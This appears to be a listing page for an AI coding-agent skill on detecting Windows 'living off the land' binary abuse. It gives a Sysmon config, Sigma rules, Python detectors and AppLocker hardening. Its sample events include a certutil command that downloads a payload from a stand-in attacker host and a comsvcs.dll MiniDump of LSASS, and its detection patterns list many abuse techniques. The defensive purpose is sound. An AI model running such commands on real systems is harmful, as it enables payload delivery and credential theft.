
Detecting Living Off the Land Attacks
FreeIdentify misuse of legitimate Windows binaries in real time.
Free · Opens the source repo
What Detecting Living Off the Land Attacks does
Detecting Living Off the Land Attacks is a skill designed for cybersecurity professionals who need to monitor and detect the abuse of legitimate Windows binaries, commonly referred to as LOLBins. These binaries, such as certutil, mshta, and rundll32, can be exploited by attackers to execute fileless attacks, making it crucial to identify their suspicious usage patterns. This skill focuses on monitoring process creation, command-line arguments, and parent-child relationships to flag potential threats in real time.
The skill is particularly useful for building detection rules for Security Information and Event Management (SIEM) or Endpoint Detection and Response (EDR) platforms. It allows security teams to investigate alerts where legitimate system binaries are executed in unexpected contexts, facilitating proactive threat hunting. By leveraging this skill, users can harden their application whitelisting policies and enhance their incident response capabilities against adversaries who may bypass traditional antivirus solutions by utilizing built-in OS tools.
To effectively utilize this skill, users must deploy a Sysmon configuration that captures relevant process creation and network events associated with LOLBin execution. Additionally, building Sigma detection rules for specific LOLBin abuse patterns allows for cross-platform detection, ensuring comprehensive coverage across various environments. This skill is an essential tool for any security professional looking to enhance their monitoring and detection capabilities against fileless attack techniques.
When to use it
Use this skill when establishing detection mechanisms for LOLBin abuse in real-time or when investigating alerts related to unexpected binary executions.
When not to use it
Do not use this skill for blocking all LOLBin execution, as legitimate administrative tasks may require their use.
What you can build with it
Real-time Monitoring for LOLBin Abuse
Implement detection rules to monitor and alert on suspicious use of LOLBins in your environment.
Incident Investigation
Utilize the skill to investigate alerts related to unexpected executions of legitimate binaries.
Threat Hunting
Proactively hunt for indicators of fileless attacks across endpoint telemetry using this skill.
How to install Detecting Living Off the Land Attacks
View source1. Install with the skills CLI
npx skills add mukul975/anthropic-cybersecurity-skills/detecting-living-off-the-land-attacks --agent claude-code2. Or install it manually
Download the skill folder and drop it into ~/.claude/skills/ for all projects, or .claude/skills/ to scope it to one repo. Restart Claude Code so it picks up the new skill.
Anthropic's agentic coding CLI, and the reference implementation of Agent Skills. Drop a skill folder into ~/.claude/skills and Claude Code loads it automatically whenever a task matches the skill's description. Claude Code docs
Inside SKILL.md
Written by mukul975Detecting Living Off the Land Attacks
Monitor for suspicious use of legitimate Windows binaries (LOLBins) including certutil, mshta, rundll32, regsvr32, and others used in fileless and living-off-the-land attack techniques.
When to Use
- Building detection rules for SIEM or EDR platforms to catch LOLBin abuse in real time
- Investigating alerts where legitimate system binaries appear in unexpected execution contexts
- Threat hunting across endpoint telemetry for fileless attack indicators
- Hardening application whitelisting policies (AppLocker, WDAC) to restrict dangerous LOLBin usage
- Creating Sysmon configurations tuned to capture LOLBin-related process creation events
- Responding to incidents where adversaries bypassed AV by using only built-in OS tools
Do not use for blocking all LOLBin execution outright; these are legitimate system tools with valid administrative uses. Detection must focus on anomalous context (parent process, command-line arguments, network activity) rather than binary presence alone.
Prerequisites
- Sysmon v15+ installed on Windows endpoints with a tuned configuration (SwiftOnSecurity or Olaf Hartong baseline)
- SIEM platform ingesting Sysmon Event IDs 1 (Process Create), 3 (Network Connection), 7 (Image Loaded), 11 (File Create)
- Windows Event Log forwarding for Security Event IDs 4688 (Process Creation with command-line logging enabled)
- LOLBAS project reference: https://lolbas-project.github.io/
- Python 3.8+ with
evtx,pandasfor offline log analysis - Sigma rule repository for cross-platform detection rule authoring
Workflow
Step 1: Deploy a LOLBin-Focused Sysmon Configuration
Create a Sysmon config that captures the process creation and network events needed for LOLBin detection:
<!-- File: sysmon-lolbin-detection.xml -->
<Sysmon schemaversion="4.90">
<EventFiltering>
<!-- Process Creation: capture all LOLBin executions with full command lines -->
<RuleGroup name="LOLBin Process Creation" groupRelation="or">
<ProcessCreate onmatch="include">
<Image condition="end with">certutil.exe</Image>
<Image condition="end with">mshta.exe</Image>
<Image condition="end with">rundll32.exe</Image>
<Image condition="end with">regsvr32.exe</Image>
<Image condition="end with">msbuild.exe</Image>
<Image condition="end with">installutil.exe</Image>
<Image condition="end with">cmstp.exe</Image>
<Image condition="end with">wmic.exe</Image>
<Image condition="end with">bitsadmin.exe</Image>
<Image condition="end with">certreq.exe</Image>
<Image condition="end with">esentutl.exe</Image>
<Image condition="end with">expand.exe</Image>
<Image condition="end with">extrac32.exe</Image>
<Image condition="end with">findstr.exe</Image>
<Image condition="end with">hh.exe</Image>
<Image condition="end with">ie4uinit.exe</Image>
<Image condition="end with">mavinject.exe</Image>
<Image condition="end with">msiexec.exe</Image>
<Image condition="end with">odbcconf.exe</Image>
<Image condition="end with">pcalua.exe</Image>
<Image condition="end with">presentationhost.exe</Image>
<Image condition="end with">replace.exe</Image>
<Image condition="end with">xwizard.exe</Image>
<!-- PowerShell variants -->
<Image condition="end with">powershell.exe</Image>
<Image condition="end with">pwsh.exe</Image>
<!-- Script hosts -->
<Image condition="end with">cscript.exe</Image>
<Image condition="end with">wscript.exe</Image>
</ProcessCreate>
</RuleGroup>
<!-- Network connections from LOLBins (highly suspicious) -->
<RuleGroup name="LOLBin Network" groupRelation="or">
<NetworkConnect onmatch="include">
<Image condition="end with">certutil.exe</Image>
<Image condition="end with">mshta.exe</Image>
<Image condition="end with">rundll32.exe</Image>
<Image condition="end with">regsvr32.exe</Image>
<Image condition="end with">msbuild.exe</Image>
<Image condition="end with">bitsadmin.exe</Image>
<Image condition="end with">expand.exe</Image>
<Image condition="end with">esentutl.exe</Image>
<Image condition="end with">replace.exe</Image>
</NetworkConnect>
</RuleGroup>
</EventFiltering>
</Sysmon>
# Install or update Sysmon with the LOLBin config
sysmon64.exe -accepteula -i sysmon-lolbin-detection.xml
# Update existing Sysmon installation
sysmon64.exe -c sysmon-lolbin-detection.xml
Step 2: Build Sigma Detection Rules for Key LOLBins
Write Sigma rules that detect specific abuse patterns, translatable to any SIEM:
# File: sigma/certutil_download.yml
title: Certutil Used to Download File
id: a1b2c3d4-5678-9abc-def0-123456789abc
status: stable
description: >
Detects certutil.exe being used to download files from remote URLs,
a common LOLBin technique for payload delivery (LOLBAS T1105).
references:
- https://lolbas-project.github.io/lolbas/Binaries/Certutil/
- https://attack.mitre.org/techniques/T1105/
author: Threat Detection Team
date: 2026/01/20
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\certutil.exe'
CommandLine|contains|all:
- 'urlcache'
- '-f'
- 'http'
condition: selection
falsepositives:
- Legitimate certificate enrollment using certutil with URL parameters
level: high
tags:
- attack.defense_evasion
- attack.t1218
- attack.command_and_control
- attack.t1105
# File: sigma/mshta_execution.yml
title: MSHTA Executing Remote or Inline Script
id: b2c3d4e5-6789-abcd-ef01-234567890bcd
status: stable
description: >
Detects mshta.exe executing scripts from URLs or inline VBScript/JavaScript,
commonly used for application whitelisting bypass and initial access.
references:
- https://lolbas-project.github.io/lolbas/Binaries/Mshta/
- https://attack.mitre.org/techniques/T1218/005/
logsource:
category: process_creation
product: windows
detection:
selection_remote:
Image|endswith: '\mshta.exe'
CommandLine|contains: 'http'
selection_inline:
Image|endswith: '\mshta.exe'
CommandLine|contains:
- 'vbscript:'
- 'javascript:'
selection_parent_anomaly:
Image|endswith: '\mshta.exe'
ParentImage|endswith:
- '\winword.exe'
- '\excel.exe'
- '\outlook.exe'
- '\powerpnt.exe'
condition: selection_remote or selection_inline or selection_parent_anomaly
falsepositives:
- Legacy HTA-based internal applications
level: high
# File: sigma/regsvr32_scrobj.yml
title: Regsvr32 Squiblydoo Scriptlet Execution
id: c3d4e5f6-7890-bcde-f012-345678901cde
status: stable
description: >
Detects regsvr32.exe loading scrobj.dll with a remote scriptlet URL,
known as the Squiblydoo technique for AppLocker bypass.
references:
- https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
- https://attack.mitre.org/techniques/T1218/010/
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\regsvr32.exe'
CommandLine|contains|all:
- 'scrobj.dll'
- '/i:'
condition: selection
falsepositives:
- Legitimate COM scriptlet registration (rare in modern environments)
level: critical
Step 3: Analyze Sysmon Logs for LOLBin Abuse Patterns
Parse and correlate Sysmon events to identify suspicious LOLBin execution:
import json
import re
from datetime import datetime, timedelta
from collections import defaultdict
from pathlib import Path
# Known LOLBins and their suspicious command-line indicators
LOLBIN_SIGNATURES = {
"certutil.exe": {
"suspicious_args": [
r"-urlcache\s+-f\s+http",
r"-decode\s+",
r"-encode\s+",
r"-verifyctl\s+.*http",
],
"mitre": "T1218, T1105",
"severity": "high"
},
"mshta.exe": {
"suspicious_args": [
r"https?://",
r"vbscript:",
r"javascript:",
r"about:",
],
"mitre": "T1218.005",
"severity": "high"
},
"rundll32.exe": {
"suspicious_args": [
r"javascript:",
r"shell32\.dll.*ShellExec_RunDLL",
r"\\\\.*\\.*\.dll", # UNC path DLL loading
r"comsvcs\.dll.*MiniDump", # LSASS dump via comsvcs
],
"mitre": "T1218.011",
"severity": "critical"
},
"regsvr32.exe": {
"suspicious_args": [
r"/s\s+/n\s+/u\s+/i:",
r"scrobj\.dll",
r"https?://",
],
"mitre": "T1218.010",
"severity": "critical"
},
"bitsadmin.exe": {
"suspicious_args": [
r"/transfer\s+.*https?://",
r"/create\s+.*\/addfile\s+.*https?://",
r"/SetNotifyCmdLine",
],
"mitre": "T1197",
"severity": "high"
},
"wmic.exe": {
"suspicious_args": [
r"process\s+call\s+create",
r"/node:",
r"os\s+get\s+/format:.*https?://",
r"xsl.*https?://",
],
"mitre": "T1047",
"severity": "high"
},
"msbuild.exe": {
"suspicious_args": [
r"\.xml\b",
r"\.csproj\b",
r"\\temp\\",
r"\\appdata\\",
],
"mitre": "T1127.001",
"severity": "high"
},
"mavinject.exe": {
"suspicious_args": [
r"/INJECTRUNNING\s+\d+",
],
"mitre": "T1218.013",
"severity": "critical"
},
}
def analyze_sysmon_events(events):
"""Analyze Sysmon process creation events for LOLBin abuse."""
alerts = []
for event in events:
image = event.get("Image", "").lower()
cmdline = event.get("CommandLine", "")
parent = event.get("ParentImage", "")
# Check if the process is a known LOLBin
for lolbin, config in LOLBIN_SIGNATURES.items():
if image.endswith(lolbin.lower()):
for pattern in config["suspicious_args"]:
if re.search(pattern, cmdline, re.IGNORECASE):
alert = {
"timestamp": event.get("UtcTime", ""),
"hostname": event.get("Computer", ""),
"lolbin": lolbin,
"command_line": cmdline,
"parent_process": parent,
"user": event.get("User", ""),
"process_id": event.get("ProcessId", ""),
"parent_pid": event.get("ParentProcessId", ""),
"mitre_technique": config["mitre"],
"severity": config["severity"],
"matched_pattern": pattern,
}
alerts.append(alert)
break
return alerts
# Example usage with parsed Sysmon events
sample_events = [
{
"UtcTime": "2026-01-20 14:32:15.000",
"Computer": "WORKSTATION-01",
"Image": "C:\\Windows\\System32\\certutil.exe",
"CommandLine": "certutil.exe -urlcache -f http://evil.example.com/payload.exe C:\\temp\\update.exe",
"ParentImage": "C:\\Windows\\System32\\cmd.exe",
"User": "CORP\\jsmith",
"ProcessId": "4532",
"ParentProcessId": "2108",
},
{
"UtcTime": "2026-01-20 14:33:01.000",
"Computer": "WORKSTATION-01",
"Image": "C:\\Windows\\System32\\rundll32.exe",
"CommandLine": "rundll32.exe comsvcs.dll, MiniDump 624 C:\\temp\\dump.bin full",
"ParentImage": "C:\\Windows\\System32\\cmd.exe",
"User": "CORP\\jsmith",
"ProcessId": "5128",
"ParentProcessId": "2108",
},
]
alerts = analyze_sysmon_events(sample_events)
for alert in alerts:
print(f"[{alert['severity'].upper()}] {alert['lolbin']} on {alert['hostname']}")
print(f" MITRE: {alert['mitre_technique']}")
print(f" Command: {alert['command_line'][:120]}")
print(f" Parent: {alert['parent_process']}")
print(f" User: {alert['user']}")
print()
Step 4: Detect LOLBin Network Connections
LOLBins making outbound network connections is a strong indicator of malicious use:
def detect_lolbin_network_activity(network_events, process_events):
"""Correlate Sysmon network events (ID 3) with process creation (ID 1)
to find LOLBins making outbound connections."""
# LOLBins that should rarely make outbound connections
NETWORK_SUSPICIOUS = {
"certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
"msbuild.exe", "installutil.exe", "bitsadmin.exe", "esentutl.exe",
"expand.exe", "replace.exe", "cmstp.exe", "presentationhost.exe",
}
alerts = []
for event in network_events:
image = event.get("Image", "").lower()
binary_name = image.split("\\")[-1] if "\\" in image else image
if binary_name in NETWORK_SUSPICIOUS:
dest_ip = event.get("DestinationIp", "")
dest_port = event.get("DestinationPort", "")
# Skip localhost and internal DNS
if dest_ip.startswith("127.") or dest_ip == "::1":
continue
alert = {
"type": "lolbin_network_connection",
"binary": binary_name,
"destination_ip": dest_ip,
"destination_port": dest_port,
"destination_hostname": event.get("DestinationHostname", ""),
"source_ip": event.get("SourceIp", ""),
"user": event.get("User", ""),
"timestamp": event.get("UtcTime", ""),
"severity": "critical",
}
alerts.append(alert)
print(f"[CRITICAL] {binary_name} connected to "
f"{dest_ip}:{dest_port} ({event.get('DestinationHostname', 'N/A')})")
return alerts
Step 5: Monitor Anomalous Parent-Child Process Relationships
# Suspicious parent-child relationships indicating LOLBin abuse
SUSPICIOUS_PARENT_CHILD = [
# Office apps spawning LOLBins (macro execution)
{"parent": ["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe"],
"child": ["cmd.exe", "powershell.exe", "pwsh.exe", "mshta.exe",
"wscript.exe", "cscript.exe", "certutil.exe"],
"severity": "critical", "mitre": "T1204.002"},
# Explorer spawning script interpreters directly
{"parent": ["explorer.exe"],
"child": ["mshta.exe", "regsvr32.exe", "msbuild.exe"],
"severity": "high", "mitre": "T1218"},
# WMI provider spawning processes (lateral movement)
{"parent": ["wmiprvse.exe"],
"child": ["cmd.exe", "powershell.exe", "mshta.exe"],
"severity": "critical", "mitre": "T1047"},
# Services spawning unusual children
{"parent": ["services.exe"],
"child": ["cmd.exe", "powershell.exe", "mshta.exe", "rundll32.exe"],
"severity": "high", "mitre": "T1543.003"},
]
def check_parent_child_anomaly(event):
"""Check if a process creation event has a suspicious parent-child pair."""
parent = event.get("ParentImage", "").split("\\")[-1].lower()
child = event.get("Image", "").split("\\")[-1].lower()
for rule in SUSPICIOUS_PARENT_CHILD:
if parent in rule["parent"] and child in rule["child"]:
return {
"alert_type": "suspicious_parent_child",
"parent": parent,
"child": child,
"command_line": event.get("CommandLine", ""),
"mitre": rule["mitre"],
"severity": rule["severity"],
"hostname": event.get("Computer", ""),
"user": event.get("User", ""),
"timestamp": event.get("UtcTime", ""),
}
return None
Step 6: Implement AppLocker or WDAC Hardening
Restrict unnecessary LOLBin execution with application control policies:
# Query current AppLocker policy
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
# Create AppLocker rules to restrict certutil to admin-only
$rule = New-AppLockerPolicy -RuleType Publisher -RuleNamePrefix "Block" `
-FileInformation "C:\Windows\System32\certutil.exe" `
-User "S-1-1-0" -Deny
# Export current policy for backup before applying changes
Get-AppLockerPolicy -Effective -Xml > AppLocker_Backup.xml
# Block specific LOLBins for standard users via GPO script
$lolbins_to_restrict = @(
"mshta.exe", "cmstp.exe", "msbuild.exe", "installutil.exe",
"regsvr32.exe", "presentationhost.exe", "ie4uinit.exe",
"mavinject.exe", "xwizard.exe"
)
foreach ($binary in $lolbins_to_restrict) {
$path = "C:\Windows\System32\$binary"
if (Test-Path $path) {
Write-Output "Restricting: $path"
# Apply WDAC deny rule via PowerShell
# In production, use Group Policy or Intune WDAC policies
}
}
Verification
- Confirm Sysmon is logging Event ID 1 (Process Creation) with full command-line arguments for all listed LOLBins
- Validate Sigma rules convert correctly to your SIEM query language using
sigmacorsigma-cli - Test detection by executing benign LOLBin commands in a lab environment and confirming alerts fire
- Verify parent-child anomaly detection catches Office-to-LOLBin chains (e.g.,
winword.exespawningcertutil.exe) - Confirm LOLBin network connection detection triggers when
certutil.exeormshta.exereach out to external IPs - Check that AppLocker or WDAC policies do not break legitimate administrative workflows before deploying to production
- Validate false positive rates by running detection rules against 7 days of baseline telemetry from a clean environment
- Cross-reference detections against the LOLBAS project database at https://lolbas-project.github.io/ for completeness
Frequently asked questions about Detecting Living Off the Land Attacks
Similar skills
Asset Criticality Scoring for Vulns
Prioritize vulnerabilities based on asset criticality.
Performing Alert Triage with Elastic SIEM
Streamline alert triage processes in Elastic Security.
Active Directory Vulnerability Assessment
Secure your Active Directory with comprehensive assessments.
Active Directory Investigation
Streamline your Active Directory compromise investigations.
Parsing Artifacts with Eric Zimmerman Tools
Efficiently parse Windows forensic artifacts for analysis.
Operationalizing MISP Threat Feeds
Enhance threat detection with curated MISP feeds.
